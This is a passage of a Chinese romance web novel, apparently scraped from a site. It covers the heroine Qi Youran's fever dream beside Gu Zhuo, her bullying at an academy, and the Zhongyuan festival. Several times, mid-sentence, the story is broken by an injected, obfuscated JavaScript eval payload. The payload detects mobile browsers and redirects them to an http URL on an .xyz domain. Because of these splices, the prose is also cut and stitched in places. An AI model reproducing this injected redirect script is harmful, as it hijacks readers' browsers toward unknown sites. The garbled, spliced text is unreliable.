“你若应下，他们便活；你若不应，他们便死。” 像是忽然想起一件微不足道的小事，他尾音微微上扬，语气竟带上一丝不合时宜的轻快：“哦，对了，赎金是……一文钱。” 她垂下眼，遮住眸底翻涌的暗色，声音轻飘飘的，带着孩童无辜的推诿，残忍地笑了：“我一个稚子，如何出得起……这么多钱。” 祠堂深处，那团浓影似乎动了一下，一声低笑逸出：“你倒是……给了我个惊喜。” 那三个曾将她视如草芥、卖入泥淖的人，就在这几句话里，像几株倒伏在泥里的野草，无声无息地枯萎了，连一丝风过草折的声响也无。 悲伤，是半点没有的。 恐惧？或许有吧，淡淡的，浮在荣华富贵的底色上，很快便被绫罗绸缎吸干了。 她抬眼望去。 入目的，依旧是男人端坐云端、冷眼俯瞰的模糊轮廓。 如同凝固在宣纸上、饱蘸了权势与冷酷的一团陈年墨渍，高高在上，晕染不开。 直到后来。 当权势的华厦倾颓，当算计的金线寸寸崩断，当宣纸被命运的罡风吹得边缘颤抖。 她亲手拽下了这片高傲的墨团。 它不再是俯瞰众生的云，不再是笼罩一切的暗影。 淋漓地、狼狈不堪地，从它曾俯视的云端，轰然坠落。 坠入她脚下那片，由她自己亲手铺设的，权力的废墟之中。 她不能就这样死去！ 这无声的嘶吼在她枯竭的胸腔里猛地炸开。 她这些年跋山涉水，踽踽独行，算计着活，挣扎着生。 她这副骨头架子，是从泥潭下、从刀尖上、从人心里一寸寸挣出来的，哪怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“唉，姑娘你可别看他现在这副闷葫芦样儿！”妇人浑然不觉这微妙的暗流，兀自絮叨着，语气里满是过来人的笃定，“刚把你们抬进来那会儿，他那手啊，死死攥着你的腕子，掰都掰不开，急得眼珠子都要瞪出来了！啧啧，你们兄妹俩这份情意，真是没得说！叫什么来着？哦，对！骨肉连心呐！” 屋内静了一瞬。 顾濯微微偏开头，避开祁悠然灼人的视线和妇人热切的评断，侧脸线条在昏暗的屋子里显得有些僵硬。 他轻轻咳了一声，声音刻意放得平稳无波：“你无事便好。” 他若无其事地将目光投向窗外沉沉的暮色：“我去帮忙看看灶火。” 转身欲走时，动作带着一丝不易察觉的仓促，像是急于逃离这令人窒息的“兄妹情深”的戏码。 刚迈出一步，一道沙哑的声音，从背后，幽幽地、清晰地传来：“哥哥……那我们背着爹娘私奔……他们不会派人追过来吧！” 顾濯僵住。 妇人倒抽一口冷气，浑浊的眼睛瞪得溜圆，嘴巴微张，像是塞进了一个囫囵的鸡蛋。 空气彻底凝固了。 谁跟他攀扯这等俗不可耐的兄妹名分。 出门在外，身份是自己给的。 22. 同榻 怕妇人误会，祁悠然“好心”补了一句：“我跟他不是亲生的。” 顾濯一口气欲叹不叹，终究被生生堵了回去。 目光在她脸上轻轻一划，带着近乎认命的无奈，旋即又沉入那片惯常的疏离寒潭里。 妇人尴尬地搓了搓衣服，脸上猛地绽开恍然大悟的表情：“哎哟！怪不得之前那么紧张，闹了半天，原来是情哥哥啊……” 甜得发齁，又俗得刺耳的三个字，猝不及防地砸进空气里，引得两人一滞。 “……”顾濯面上依旧看不出什么表情，颀长的身影只疾步离开了屋子。 “……”祁悠然嘴角抽了抽，感觉整个人被黏腻的糖浆淋过，黏糊成了一团，好似能招来一群苍蝇嗡嗡乱转。 怕妇人再说出些更甜更腻的虎狼之词，她轻轻咳了一声，掐断了这个话题。 叙旧的话头一起，那妇人才显出些被生活榨干了水分的底色。 她守着丈夫生前留下的这点可怜的基业——一座低矮的土屋、几亩薄田，苛捐杂税、流言蜚语。 不过横竖是土生土长的庄稼人，生来便是靠着土地度日。 丈夫生前这般，丈夫死后亦是。 日子是酸涩的青果，空瘪瘪地挂在岁月的枯枝上。 那干瘪果壳里仅存的一点微末汁水与活气，便全系在膝下那个尚未长成的女儿身上了。 屋子狭小得可怜，统共就两间。 得益于祁悠然的那番话，妇人由窘迫不安地分给他们一个屋子，变成了心安理得地分给他们一个屋子。 但无论如何，这终究是一份遮蔽风雪的善意。 逼仄的陋室里，顾濯与祁悠然面面相觑，僵直地杵着。 昏黄的烛火光晕在两人脸上跳跃，映不出半分暖意，只将那点无处遁形的尴尬，涂抹得更加浓稠。 光影在土墙上投下两道僵硬的影子，冷冷地贴着，却又泾渭分明，似乎在上演一出直教人喝倒彩的皮影戏。 “……” “……” 沉默在狭小的空间里发酵、膨胀，几乎要撑破这薄薄的泥墙。 半晌，顾濯开口：“我睡地上即可。” 没有商榷，甚至没有情绪，只是在这令人窒息的窘境里，划下一条生硬的分界线。 祁悠然看着顾濯：“不过是一张榻上，各占半边罢了。” 语气平淡，听不出半分旖旎。 她下颌微抬，示意那扇糊着破纸，正呜呜咽咽往里灌着寒风的窗户棂子：“这天寒地冻的窟窿眼，你是嫌自己寒毒侵骨不够深，还想再添一场要命的热症？” 顾濯默了一瞬。 疏冷的星子无声地爬上夜幕，冷眼旁观着这出尴尬戏码。 祁悠然皱眉看着他：“既然……是因我而起，你若实在介意，我睡地上便是。” “……” 一张窄榻，两人分据两端。 一个紧挨着冰凉的土墙，恨不得嵌进墙缝里；一个悬在床沿，仿佛稍不留神就要坠入无边的黑暗。 中间隔着天堑。 两具身体在黑暗里绷得死紧，硬邦邦的，像两具在冰天雪地里死了多日的尸首。 倒是难为被子了。 顾濯倏地翻过身去，只留给她一个沉默而冷硬的背影。 祁悠然在黑暗中，蜷了蜷手指。 她极其缓慢地，将身体朝着顾濯的方向，挪动了微不可察的一寸。 一种自厌的清醒提醒着她：不是为了靠近那拒人千里的心，仅仅是为了一点虚妄的，想从枕边人的身上，偷窃一丝半缕暖意，好勉强熨帖一下自己早已冻得寸寸龟裂的灵魂。 顾濯一向睡得浅，更遑论如今四面透风的糟糕环境了。 他是被身后那点细微的重量与温度“硌”醒的。 醒来时，身体先于意识僵了一瞬。 身后沉沉地烙着一份微弱却执拗的温度。 祁悠然的额头，带着不容忽视的存在感，正抵着他的脊背。 然而，她的身体，却离得很远。 那是一种精心计算过的、近乎病态的分寸。 额头是唯一被允许僭越的据点，仿佛那是她与自己，最后一点绝望而卑微的连接。 这姿态，既像一种无声的祈求，又像一种带着自毁意味的惩罚。 可怜的分寸。 顾濯的呼吸在那一瞬凝滞了。 他甚至能描摹出她此刻的样子：闭着眼，或许睫毛还在不安地颤动，维持着这副僵硬的依偎姿势，身体却带着某种自毁般的骄傲，倔强地拒绝靠近。 然而这点微弱的接触，于他而言，亦是沉滞的负担。 感受着那点隔着衣料、若有似无传递过来的、属于另一个躯体的微弱温度与起伏，顾濯重新闭上了眼睛。 罢了…… 他选择了沉睡。 或者更准确地说，他放任了这虚假的平静，纵容了这绝望的僭越。 让这陌生的依偎，在黎明前最深沉的夜色里，再多苟延残喘一刻。 一场清醒的共谋。 天光将明未明，祁悠然被一股冷意催着转醒。 她迷蒙地从睡意中挣开，意识尚未完全挣脱梦魇，抬眼，却看到了顾濯。 又是一个冷淡背影…… 她苦笑一声，眼中是习惯的涩意。 只是，那躯壳突然翻了过来。 清隽如玉的面庞，此刻安静得可怕，没有一丝活气。 她费力地眨了眨眼，却看不清眼前。 只是光是这副模糊的场面，就硬生生将她从昏昧中撕扯出来。 “顾濯……”一声破碎的呜咽，带着未醒的沙哑，从她喉咙里挤出来。 没有应答。 “顾濯……”她又唤了一声。 依然是沉默。 “我求求你……”她喃喃着，声音抖得不成样子。 “别丢下我……别像她们一样……”后面的话语被汹涌的泪意堵住，只剩下不成调的、绝望的气音。 “咳咳咳咳……”她凄怆地咳嗽起来。 “对不起，是我不对……”祁悠然的声音彻底变了调，泪水毫无预兆地汹涌而出。 泪水流向脸颊两侧，带着恼人的痒意，瞬间洇开一小片深色的痕迹在粗布枕上。 身体是冰火两重天的昏沉，面上是一片狼藉，她却顾不得眼下的感受，语无伦次。 “对不起……” “对不起……” 上气不接下气，卑微地、绝望地、一遍又一遍地重复着。 这破碎的哭求，终于将顾濯从浅眠中惊醒。 他蹙起眉，眼底尚残留着几分被惊扰的冷意，却在转身侧过脸看清身边人状况的瞬间，凝滞了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860278|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁悠然紧闭着眼，脸上泛着一种极不自然的、病态的潮红，刺目而诡异。 她沉溺在梦魇的泥沼里，眉头痛苦地紧锁，泪水却汹涌地、无声地奔流，濡湿了鬓角，打湿了枕畔，也沾上了他的后背。 她不再是眼神里淬着阴郁或嘲弄的郡主，那平日里总是带着倔强与强势的面具，此刻碎得干干净净，只剩下一种近乎孩童般的脆弱与恐惧。 顾濯从未见过她如此。 如此卑微地祈求，如此绝望地哭泣，如此……支离破碎。 就这么毫无防备暴露在他眼前。 他的心跟着狠狠痛了起来。 蹙起的眉头更深了，蓦地生出几分后悔来。 只是旁人再如何，也干扰不了祁悠然坠入沉沦的残梦。 她眼前的场面一瞬一瞬倒放。 先是侯府的厅堂——顾濯投来的眼神冷漠疏离，瞬间冻结了所有未出口的话语，只留下一点尖锐的、冰冷的麻。 画面猛地跳切至喧嚣的婚宴——觥筹交错间，他那张漠然的脸上，毫不掩饰的厌恶神情。 接着是金碧辉煌的宫阙深处——他脸上那一闪而过的讶然神色，又瞬间湮灭在更深的疏离里。 最后定格在书声琅琅的学堂——那是多久远的、褪了色的画面？顾濯脸上，只有一片无波无澜的平静。 她像个绝望的拾荒者，在记忆中这片由冰冷、厌恶、疏离和死寂组成的废墟里，落拓地翻捡着。 指甲抠进了时光的缝隙，划破了光怪陆离的表象，皮肉翻涌，鲜血淋漓。 终于，在某个蒙尘的、几乎被遗忘的角落，勉强寻到了一点早已死去的、关于春日和煦的残影。 算得上是一丝“友好”的印记。 或者说，仅仅是和“友好”沾得上一点边的、一个被岁月啃噬得面目全非的幻影。 “虽说你年纪还小，骨子里都透着股蛮气，但也得学着把爪子收一收，披上件人皮。”男人那居高临下的不屑声音，阴魂不散地缠绕在她耳畔。 “滚去学堂沾点酸腐气吧。那些摇头晃脑的老夫子，教起人来，勉强也能入目一二，总好过你这副茹毛饮血的德性。”每一个字都扎在她那点残存的自尊上。 “不过，小崽子，别学成个掉书袋的呆鹅。”他顿了顿，又带着点高高在上的施舍意味开口，“若是真学出点人样……自有‘奖励’。比如……你日日夜夜、咬牙切齿、恨不能生啖其肉的那位……张公子。” 她带着麻木与冰冷踏入学堂。 墨香真的能涤荡掉她身上的血腥气吗？ 这念头冰冷地划过她心底，带着一丝嘲弄。 然后，她便看见了那个少年。 他坐在窗明几净处，一身素衣，姿态是无可挑剔的端正。 那衣料并非华贵锦缎，洗得泛出一点温润的旧光，穿在他身上，却莫名矜贵妥帖。 春日的阳光，慷慨又吝啬。 慷慨地穿透了窗棂的孔隙，吝啬地只将其中最澄澈、最温柔的那几缕，不偏不倚地筛落，虚虚地笼罩在他周身。 他正捧着书卷，眼睫低垂着，覆下一小片鸦青的影。 也不知是光影的流转，还是当真心有灵犀一点通，他忽然抬了眼。 那目光便直直地看过来，清冷冷的，带着点书页的凉气，又像初融的雪水，一下子便淌到了她的面前。 23. 腌臜 她忙不迭垂下眼，视线却仿佛自己有了主见，仍旧执拗地粘在那片薄薄的光晕里。 林如霜——她名义上的姐姐，却攥紧她的胳膊。 那力道，与其说是提醒，不如说是惩戒，是警告。 使的劲不小，指甲几乎要嵌进肉里，她吃痛地蹙紧了眉。 “你给我安分点。”林如霜的声音压得极低，“别在这儿丢人现眼。顾濯可不是你这种货色能肖想的。” 那名字从林如霜唇间泄出，带着一种炫耀般的熟稔和黏腻的亲昵。 顾濯。 原来，他叫顾濯。 疼痛与名字交织，屈辱与光晕混杂。 她知道了他的名字，代价是胳膊上清晰的指痕。 他不再是当铺里那个眉目温润、肯为陌生人仗义执言的少年，变成了学堂里她高攀不上的存在。 就连知道他的名字，都成了一种需要付出皮肉之苦的、逾矩的僭越。 不过……早在先前，他们便认识了。 一股奇异的、没来由的喜悦，竟在她心口钻了出来。 她自己也觉着茫然。 这欢喜来得实在莫名其妙，简直像得了癔症。 明明只是在当铺说过几句话罢了，算哪门子的熟识？ 可却像捡了枚不值钱的铜钱，当成了金元宝攥在手心。 这荒诞的悸动推着她，鬼使神差地，竟真觑了个四下无人的空档，横下心拦在了顾濯必经的回廊下。 “你……还记得我吗？”她的声音低低地拂过，“先前在当铺……” “我并不认得你。”少年答得干脆利落，脸上是不变的疏离冷漠。 她不死心，又追问，声音里带着一丝自己都未察觉的急切：“那你可有孪生兄弟？” “……” 这一回，连回答也吝啬了。 廊外的阳光恰好落在他微抿的唇线上，拉出一道薄而冷的阴影。 人心易变，道理她原也是懂的。 可这变得也忒快了。 才几年光景？ 眼前这人，皮囊倒还是那副顶好的皮囊，可里头的神气，却像是被谁整个儿掏空了，填上了万年不化的玄冰，寒气森森，拒人千里。 哪里还能寻得见半分当年当铺里，那点温润的、带着烟火气的行侠仗义的影子？ 这样的人，这尊冷硬的冰雕，为何竟惹得如林如霜那般，无数珠围翠绕的少女，如扑火的飞蛾般趋之若鹜？ “还有别的事吗？”少年冷淡地开口，隐隐透着不耐。 “没有了。”她默了一瞬。 “以后……”擦肩的瞬间，耳畔传来少年疏离的声音，“心思多用些在功课上。不要攀扯多余的关系。” 她脚步一顿。 原来如此。 人家是嫌你……不自量力地攀高枝呢。 没来由的无力感攀上心头。 她只是想……道一声迟了多年的“谢谢”罢了。 不过一句轻飘飘的“谢谢”，在这位天之骄子的眼里，恐怕连他手中书页的一个墨点都不如，实在不值得他纡尊降贵地放下课业来听吧？ 她恩将仇报地生出几分恼羞成怒来。 这里当真是书院吗？为何壁垒如此分明？ 不通笔墨，不善言辞。 世家子弟看向她的目光，探究与好奇底下，是鄙夷和不屑。 生母早逝，继母周氏正得宠，春风得意。 而她，不过是乡野泥土里滚大的野草，硬生生被掘出来，移植到这富丽堂皇的院子里，同这些金枝玉叶一道念书，在他们眼里，无异于玷污了这满室的清贵。 他们自以为藏得很好，却在自小便早到冷遇的她眼里一览无余。 世家教养？ 用圣贤道理粉饰的腌臜心思罢了。 林如霜身边，永远嗡嗡营营，围着些穿红着绿的蜂蝶，采撷着她身上散发的权势蜜糖。而她周遭，只剩下冻得发颤的冷落与不屑。 孤立，是悄无声息进行的。更有甚者，那霸凌，也如同跗骨之蛆，寻着缝隙便叮咬上来。 手段未必见得多么高明，不过是些上不得台面的推搡、藏匿，像阴沟里泛起的脏水泡泡，明面上不经看，程度不算严重，却污浊麻烦，足以湿了鞋袜，冷了心肠。 有些人，书是注定读不成器的。更可悲的是，连做人的坯子，也先天就坏了，后天再怎么修补，也遮不住原本的龌龊和下作。 她虽然瘦弱、拘谨、自卑、无措，唯有一双眼睛，深处藏着点不肯服输的锋芒，像埋在灰烬里没熄透的火星子，风一吹就能窜起来。 回屋的路上，她被一群人拦住。 “要不怎么说是从乡下来的，连字都写得跟鸡爪子刨过似的！”一只肥硕、油光锃亮的手，一把攫住了她刚写好的功课。 字并不算好看，却写得很工整，可见主人待它的认真。 只是眼下，那雪白的宣纸，瞬间便被那油腻的指印玷污了。 蠢人惯是搬弄是非的好手，只需一点小小的撺掇。 冷眼她见得多了，这般明晃晃的鄙夷甩到脸上，倒还是头一遭。 终究是不满足于暗地里给她下绊子了吗？ 非要在这光天化日之下，将她那点可怜的体面，也当众剥个干净？ 一股怒意从脚底窜起。她猛地扑过去抢，那人却恶趣味地一扬手，轻易避过。那张承载着她心血的纸，在他肥厚的手掌里被揉捏搓捻，显出一种皱巴巴的可怜相。 就在她的指尖几乎要触到那纸缘的刹那，那人却像是被什么脏东西烫着了似的，手一松，纸便落在了地上。 她弯腰去捡。 “噗嗤。” 一声极其轻微、却又清晰无比的声响。 华贵的靴子毫不留情地踩了上去。 周遭的空气仿佛凝固了。她能感觉到无数道目光——好奇的、鄙夷的、幸灾乐祸的。 浓烈的屈辱感从她心头升起。 她竟有些怀念顾濯看她的眼神了，毕竟是平等的、一视同仁的冷漠疏离。 想什么，偏就来什么。 眼风朝后一掠，顾濯正同夫子朝这边踱来。那身素净的衣衫，在春日微醺的光线里，依旧透着拒人千里的清冷。 此刻该怎么做？ 照那个男人教的法子，此刻该激眼前这绿豆眼，引他说出更不堪入耳的下流话，最好能撩拨得他动起手来。她只需扮作那风中的弱柳，滴几滴清泪，自有那看热闹的、或是假意慈悲的，会替她“做主”，逼得夫子不得不处置。 那绿豆眼似乎觉出她的心不在焉，更加洋洋得意：“嘿，林悠然，你聋了不成？真真是有娘生没娘养……” 她的目光刺在绿豆眼那张喋喋不休、唾沫横飞的脸上。 前头那套，太弯弯绕绕了，她嫌脏，也嫌烦。 有仇，就该立时三刻报了才痛快。 她也不看周遭或是幸灾乐祸或是惊愕的脸，猛地扎到绿豆眼跟前，手底用了十分的力，狠狠一推—— “噗通！” 响声落在她耳畔，清脆得很。她轻轻勾了勾唇。 初春时节的湖水依旧凉得刺骨，这一遭，不在床上躺足个把月，怕是爬不起来了。 周遭登时乱作一团，人影幢幢，呼喝声、水声搅在一处，生出几分热闹的错觉。 她抱着胳膊，冷眼瞧着这番混乱，像个置身事外的看客。 被那个男人得知后，会怎么样？ 横竖，不过是罚跪。 祠堂那青砖地，她早跪熟了。 人，她可以自己动手收拾，用不着假手他人。 偏生此刻，她的目光撞上了顾濯的视线。 他正远远望着这一池狼狈，撇到她时，皱了皱眉，毫不犹豫地转过身，衣袂带起一阵凉风，径自走了。 瞧，人家连影子都比你干净。 她面无表情地想着。 他是悬在天边、触不可及的一轮冷月，而她，是深陷泥淖、仰望月光的卑微凡人。 可既已深陷黑暗，那明月于她，也不过是件可有可无的摆设，照不亮前路，暖不了心肠。 “你做的什么混账事！”还没被那个亲爹问责，她倒是领教了夫子的戒尺。 尺风落下，掌心火辣辣地印上一条红痕。 “刘公子不过是脚下打滑，不慎落水，”她抬起眼，轻飘飘解释，“我恰好，就站在岸边罢了。” “你当这满院子的眼睛都是摆设不成？都是瞎了不成？”夫子气得声音都在抖。 “是吗？”她嘴角极冷地勾了一下，“那为何方才刘肃撕扯我的功课，这些‘不瞎’的眼睛，倒都齐刷刷地做了壁上观？莫非撕书是雅事，落水才算混账？” 她目光丝毫不惧：“我就算再不堪，上头到底还有个做丞相的爹。平日里那些暗地里绊子、阴沟里的把戏，我懒得计较。今日他刘肃明晃晃将相府踩在脚下，刘家，这是安的什么心？” 狗仗人势？ 这道理，她岂止是懂。此刻，她用得炉火纯青。 “罢了……罢了……”向来儒雅好脾气的学究，看着她这副油盐不进、眼神冷硬的模样，最终只是沉沉地叹了一口气，那叹息里浸满了无力与世故的妥协：“以后每日散学，多留一炷香的时间。合该好好用这圣贤书，磨磨你这身不知天高地厚的戾气！” 那“道义礼法”四字，从他口中说出，也仿佛沾上了这书院里无处不在的、陈腐而虚伪的灰尘。 原来这“丞相之女”的名头，竟是这般好用。 此事便被按下。 她虽回去后在祠堂跪了三个时辰，却咂摸出了一些仗势欺人的快意。 经此风波，日子便无波无澜地过着，不算好，也不算差。 她和顾濯也彻底成了陌生人。 乞巧节，林如霜兴致勃勃要去逛集市。周氏为了彰显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在她直起身的刹那，眼角的余光，冷不丁地看到了一张熟悉的面庞。 少年的侧影，就立在几步开外的水畔。 迷离的灯火与水光交织，在他清俊的轮廓上跳跃、流淌，将那平日里冰雕玉琢般的疏离冷漠，奇异地柔化了几分。 他微微垂眸，望着眼前这片喧闹的、流淌着俗世暖光的河面，神情里竟难得地褪去了几分高不可攀的仙气，沾染上些许暖融融的、温软的人间烟火气。 她看到了周围少女暗中投来的、含羞带怯的目光。 林如霜那点浅薄的心思，大约也只是看上了这副顶顶好的皮相吧？ 这皮囊，只消在这俗世的热闹里浸一浸，沾上点虚幻的暖光，便能让她们趋之若鹜。 “蓦然回首，那人却在灯火阑珊处。” 这诗句，带着酸腐的绮念，毫无预兆地撞进她混乱的脑海。 接着，她看到那位赠灯的老人，竟笑呵呵地走向了顾濯，熟稔地拍了拍他的肩膀。 复杂的情感涌上心头。 明月照沟渠时，沟渠未必承情。 更怕那明月不过是镜花水月，却残忍地照出了沟渠自身的污秽不堪。 她迅速低下头，像一只竖起全身尖刺的小兽，更用力地挤进逆流的人群里，将那点阑珊灯火和那轮“明月”，连同那句不合时宜的诗，彻底抛在身后那片虚妄的热闹里。 ……喜欢？ 心底有个微弱的声音在问。 她几乎是立刻、带着清醒，用力地摇了摇头。 不，绝不是。 喜欢该是温软的，像捂在手心的一小块饴糖，慢慢化开，黏黏地缠绕着指腹，渗出点甜丝丝的香，熏得人昏昏欲醉。 那感觉太浑浊，太尖锐，带着一股子酸冷的呛人味道，怎么能是喜欢呢？ 这哪里是糖？分明是醋，是陈年的老醋，咬牙切齿、龇牙咧嘴地喝下，酸得她牙根都软了。 那……应该一种欣羡，或者，更该叫它那腌臜的本名——嫉妒。 她嫉妒顾濯！ 嫉妒他那份与生俱来的、高高在上的姿态，仿佛生来就该被众星拱月，连天光都格外偏爱他。 嫉妒他只需随意翻开书页，那些晦涩难懂的墨字便乖乖涌入他清明的眼底，换来夫子们毫不吝啬的赞许。 嫉妒他光风霁月，活得那样干净、那样坦荡，不必像她，每走一步都要在泥淖里反复权衡，将苦难咬碎了往肚子里咽，才能在这吃人的世道里，勉强扒住一点活命的缝隙。 这目光，不知何时已脱离了她的掌控，犹如一条暗处的蛇，悄然逡巡着，却只敢盘桓在咫尺之外的光影里。 那里面，有冰冷的审视，有尖锐的刺探，有自惭形秽的狼狈，更有一种连她自己都不愿深究的、隐秘的渴望——渴望将那轮明月也拽入泥淖，看看那身不染尘埃的白衣，是否也会被染上和她一样的、洗刷不掉的污浊与绝望。 这哪里是心动？分明是心在缓慢地、无可救药地……腐烂。 24. 靠近 七月十五，中元。 空气里弥漫着焚烧锡箔元宝的呛人烟火气，她像一具幽魂，茫然地在街头游走。 都说今夜，逝去的魂灵会循着香火与血缘的引线，返家探望子孙。 她停下脚步，站在喧嚣与孤寂的交界处，迷茫地望着那些在门前设案焚香、摆满瓜果酒食的人家。 阿姐……会回来看她吗？ 才短短几年，那曾经刻骨铭心的容颜，竟已在她脑海中模糊、褪色，只留下一个温暖却空洞的轮廓。 她真是……没心没肺的白眼狼。 偏偏越是执拗地想要记起，越是想不起来。 她果然生来便是自私卑劣的坯子，连至亲的模样都守不住。 想来，阿姐那般干净澄澈的魂魄，大约早已循着更亮堂的灯火，去寻那更值得眷顾的亲缘了吧？ 那也好。 喝了孟婆汤，过了奈何桥，至少阿姐不必再回望这泥淖深陷、冰冷彻骨的人间，不必再看到这个连她模样都已记不清的、没心没肺的妹妹。 那也好…… 这样……最好。 她弯了弯嘴角，试图弯出一个“释然”的弧度，可是太僵硬了，任凭意志如何驱使，也只勉强拉扯出一个扭曲的线条。 既像是哭，又像是笑；可细瞧之下，偏偏既不是哭，也不是笑。 不伦不类，实在诡异。 旁人若见了，只怕要疑心是画皮剥落，露出了底下不属于人间的、生硬僵死的底子。 她抚上心口，却不曾体会到撕心裂肺的苦痛。 日子一截截锯下来，碾磨成粉，成了最可恨的止痛散，药效绵长，厚厚地敷在旧创口上，眼看着结疤、愈合。 她的心……大约从根子上就坏了，连痛觉都吝啬给予。 不……不该这样的…… 她不该这么享受心安理得的平静的。 她想撕开伤疤，卑劣地想再次催生痛苦，好教她认得出自己。 还有谁配得上她这一场哀悼？ 那个……与她无缘无分的……生母？ 她甚至想象不出那该是怎样一张脸孔。 是温婉？是愁苦？横竖不像周氏一般，带着精心雕琢的“慈爱”面具。 那个赋予她生命的人，在抛下她，奔向那未知的彼岸时，可曾有过片刻回眸的不舍？ 想来人世间最凉薄的妄念，莫过于向早已消散的魂魄，乞讨一丝从未得到过的暖意。 这熙攘的鬼节人间，于她，不过是一场盛大的虚妄。 人间无归属，阴间无归处。 这煌煌人间与森森鬼域，浩浩荡荡，竟都寻不到一处可供她短暂停靠、汲取暖意的角落。 若有灵，何忍弃我于泥淖？ 若无灵，岁岁香火为谁飨？ 她无声诘问着，竟任性妄为地生出了几分怨怼。 河边，荷花灯载着些微茫的光，摇摇晃晃地为孤魂野鬼引路。 那光映在浑浊的水面上，一晃就散了。 怔然地看着河灯远去，回身时，她脚步顿住。 她看到了熟悉的白衣。 是顾濯。 周围人都在为亲人忙碌，一个挎着篮子的妇人匆匆走过，胳膊肘重重蹭到他肩头，他身形晃了晃，却连眼睫都未颤动分毫。卖花灯的商贩殷勤地递过一盏，脸上堆满笑，絮絮说着什么，他却只留给对方一片冰冷的侧影和凝固的沉默。 同样孑然一身。 他就站在那里，一个不远不近，能将彼此看真切，却又够不着体温的距离。 河灯的浮光、人间的喧嚣，都未能入他的眼。 他只望向更深处那片浓稠的黑暗，仿佛要将自己也溺毙其中。 那双眼睛里，带着厌世的疲惫和失落的空茫。 四目相对，眼神交汇。 没有言语，没有动作。 周遭只有中元夜虚浮的烟火、污浊的河水吞吐着残灯，织成一片迷离昏黄的背景。 只这一眼。 她却在那目光下感到无处遁形的战栗。 浊世滔滔，两个被遗弃的灵魂，猝不及防地打了个照面。 那是一种冰冷的确认，一种近乎残忍的了然。 连你这样的人都有无法宽解的悲哀吗？ 原来，你也并非遥不可及啊。 可凭什么你的孤独看起来还是那么干净、那么高贵，而我的却如此狼狈不堪？ 不过既然是同病相怜，那我朝你靠近一点，不算过分吧？ 只这一眼。 她便知道，完了。 思维空白、血液凝固、近乎眩晕。 那是一种宿命的认领，一种注定的契合。 她的脚步动了动。 距离缩小，他们离得更紧了些。 只这一眼。 便再也移不开了。 “怎么又走神了？再抄十遍。”姚玉成不赞同地看她。 她眼风追着那片顾濯的衣角，在廊角一撇，倏忽便不见了，空落落的。 目光收回来，眼神虚虚的，声音低低的：“知道了。” 姚玉成看她，将书册不轻不重地搁在案上，磕出一声闷响：“别嫌我烦，前人字句里浸着的理儿，多咂摸几遍，总归硌不着牙。反倒能磨出点真见识。” 他顿了顿：“你行事啊，总带着股子斩尽杀绝的狠戾。林相如何教你的，我不知。可在人世行走，心里头没点子慈悲作底，立不住的。” “前儿的事，我眼还没瞎。林肃挑事，声势浩荡地聚拢一帮人。这错处，我断不能替他描补。可你，”他声音陡然一沉，“何苦推他下水？错上加错，泥潭子便更深一尺，自己也陷进去半截。图什么？图一时痛快，把自个儿也染成个泥人？” 她冷硬地抿着嘴，不吭声。 “罢了。”姚玉成叹了口气：“下学了便去用饭。素馨惦记你，这都几日了，念叨得我耳朵眼儿里都要生出茧子。”这话尾音放得软和了些。 她终于抬起头，听见“素馨”二字，脸上的线条才柔和下来，泄出点少女的娇俏：“好。” 对姚玉成的改观，发生在一个暴雨天。 雨噼里啪啦砸下来，她被雨声扰了心，写的字也渐渐没了耐性，歪斜潦草起来。 “专心。”姚玉成手指在她桌上敲了敲。 她烦躁地看着雨幕，心头一片冰凉。 没带伞，周氏断不会费心遣人来接她这个“麻烦”。 淋着这瓢泼的雨回去？ 那间阴冷的屋子，连口热水都是奢望。 一场高烧怕是躲不过了。 “专心。”指节再次扣了扣桌子。 她重重撂下笔，溅起几个墨点在纸上。 她猛地起身，一声不吭地撞开椅子，冲进了那片白茫茫的雨幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860280|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 视线被水帘模糊，她只顾赌气地埋头狂奔，却意外撞进一团带着暖烘烘皂角气息的柔软里——是那个常来给姚玉成送饭的妇人。 妇人被她撞得一个趔趄，手里的油纸伞晃了晃，伞面上雨水汇成小溪往下淌。 她自己也淋得半湿，鬓发贴在额角，却先急急地伸手来扶她：“哎哟！当心！” “诶，夫人。”姚玉成急匆匆跑出来。 三人便都被雨淋了个透。 人与人之间的缘分，有时竟要靠一次莽撞的冲撞来牵线搭桥，说来也真是世事的奇妙。 自此，她便与姚玉成夫妇熟悉了起来。 陈素馨体弱，未曾有一儿半女。可夫妻俩的日子，却依旧过得细水长流，温吞得如同小火慢炖的一盅老汤，虽无子嗣喧腾，倒也熬出了一番醇厚鲜香。 她何其有幸，能亲历其中，将这汤咕嘟咕嘟喝下，暖了肺腑，热了心肠。 “馨姨最近可还咳嗽？”她收起回忆，关切地问。 